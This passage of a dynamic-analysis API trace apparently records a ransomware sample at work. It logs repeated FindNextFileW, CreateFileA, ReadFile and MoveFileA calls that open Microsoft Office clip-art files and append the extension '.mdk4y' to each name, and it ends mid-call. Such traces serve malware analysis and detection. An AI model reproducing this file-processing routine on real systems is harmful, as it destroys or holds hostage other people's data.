QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824657200000) returned 1 [0171.343] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf.mdk4y")) returned 1 [0171.344] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.344] AreFileApisANSI () returned 1 [0171.344] GetACP () returned 0x4e4 [0171.344] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02443_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02443_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.344] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824657400000) returned 1 [0171.344] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x55c, lpOverlapped=0x0) returned 1 [0171.346] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824657600000) returned 1 [0171.346] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824657600000) returned 1 [0171.346] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf.mdk4y")) returned 1 [0171.347] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.347] AreFileApisANSI () returned 1 [0171.347] GetACP () returned 0x4e4 [0171.347] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02444_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02444_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.347] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.347] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824657700000) returned 1 [0171.347] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x88c, lpOverlapped=0x0) returned 1 [0171.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824657800000) returned 1 [0171.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824657800000) returned 1 [0171.349] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf.mdk4y")) returned 1 [0171.349] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.349] AreFileApisANSI () returned 1 [0171.349] GetACP () returned 0x4e4 [0171.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02446_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02446_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.349] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824658000000) returned 1 [0171.350] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa34, lpOverlapped=0x0) returned 1 [0171.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824658100000) returned 1 [0171.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824658100000) returned 1 [0171.351] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf.mdk4y")) returned 1 [0171.352] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.352] AreFileApisANSI () returned 1 [0171.352] GetACP () returned 0x4e4 [0171.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02448_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02448_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.352] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.353] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824658300000) returned 1 [0171.353] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8a0, lpOverlapped=0x0) returned 1 [0171.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824659500000) returned 1 [0171.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824659500000) returned 1 [0171.365] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf.mdk4y")) returned 1 [0171.366] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.366] AreFileApisANSI () returned 1 [0171.366] GetACP () returned 0x4e4 [0171.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02450_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02450_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.366] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824659600000) returned 1 [0171.366] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc28, lpOverlapped=0x0) returned 1 [0171.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824659800000) returned 1 [0171.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824659800000) returned 1 [0171.368] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf.mdk4y")) returned 1 [0171.369] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.369] AreFileApisANSI () returned 1 [0171.369] GetACP () returned 0x4e4 [0171.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02451_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02451_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.369] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824660000000) returned 1 [0171.370] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd70, lpOverlapped=0x0) returned 1 [0171.371] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824660100000) returned 1 [0171.371] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824660100000) returned 1 [0171.371] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf.mdk4y")) returned 1 [0171.372] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.372] AreFileApisANSI () returned 1 [0171.372] GetACP () returned 0x4e4 [0171.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02453_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02453_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.372] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824660300000) returned 1 [0171.373] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd3c, lpOverlapped=0x0) returned 1 [0171.374] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824660400000) returned 1 [0171.374] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824660400000) returned 1 [0171.374] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf.mdk4y")) returned 1 [0171.375] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.375] AreFileApisANSI () returned 1 [0171.375] GetACP () returned 0x4e4 [0171.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NBOOK_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NBOOK_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0171.375] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.376] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824660600000) returned 1 [0171.376] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1750, lpOverlapped=0x0) returned 1 [0171.385] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824661500000) returned 1 [0171.386] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824661600000) returned 1 [0171.386] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.mdk4y")) returned 1 [0171.387] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.387] AreFileApisANSI () returned 1 [0171.387] GetACP () returned 0x4e4 [0171.387] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OCEAN_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OCEAN_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0171.387] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824661800000) returned 1 [0171.388] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1540, lpOverlapped=0x0) returned 1 [0171.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824662800000) returned 1 [0171.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824662800000) returned 1 [0171.398] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.mdk4y")) returned 1 [0171.399] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.399] AreFileApisANSI () returned 1 [0171.399] GetACP () returned 0x4e4 [0171.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTDR_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTDR_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0171.399] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.401] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824663100000) returned 1 [0171.401] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x19f4, lpOverlapped=0x0) returned 1 [0171.402] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824663200000) returned 1 [0171.402] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824663200000) returned 1 [0171.402] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.mdk4y")) returned 1 [0171.403] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.403] AreFileApisANSI () returned 1 [0171.403] GetACP () returned 0x4e4 [0171.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PAPER_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PAPER_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0171.403] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.404] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824663400000) returned 1 [0171.404] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a6b, lpOverlapped=0x0) returned 1 [0171.415] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824664500000) returned 1 [0171.415] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824664500000) returned 1 [0171.416] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.mdk4y")) returned 1 [0171.417] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.417] AreFileApisANSI () returned 1 [0171.417] GetACP () returned 0x4e4 [0171.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PARNT_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PARNT_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0171.417] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824664800000) returned 1 [0171.418] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x195b, lpOverlapped=0x0) returned 1 [0171.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824665900000) returned 1 [0171.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824665900000) returned 1 [0171.429] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.mdk4y")) returned 1 [0171.430] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.430] AreFileApisANSI () returned 1 [0171.430] GetACP () returned 0x4e4 [0171.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PARNT_02.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PARNT_02.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0171.430] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.431] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824666100000) returned 1 [0171.431] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1652, lpOverlapped=0x0) returned 1 [0171.438] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824666800000) returned 1 [0171.438] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824666800000) returned 1 [0171.438] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.mdk4y")) returned 1 [0171.439] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.439] AreFileApisANSI () returned 1 [0171.439] GetACP () returned 0x4e4 [0171.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PARNT_03.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PARNT_03.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0171.439] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.440] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824667000000) returned 1 [0171.440] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x215a, lpOverlapped=0x0) returned 1 [0171.447] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824667700000) returned 1 [0171.447] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824667700000) returned 1 [0171.448] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), lpNewFileName="C:\\Program Files\\Microsoft 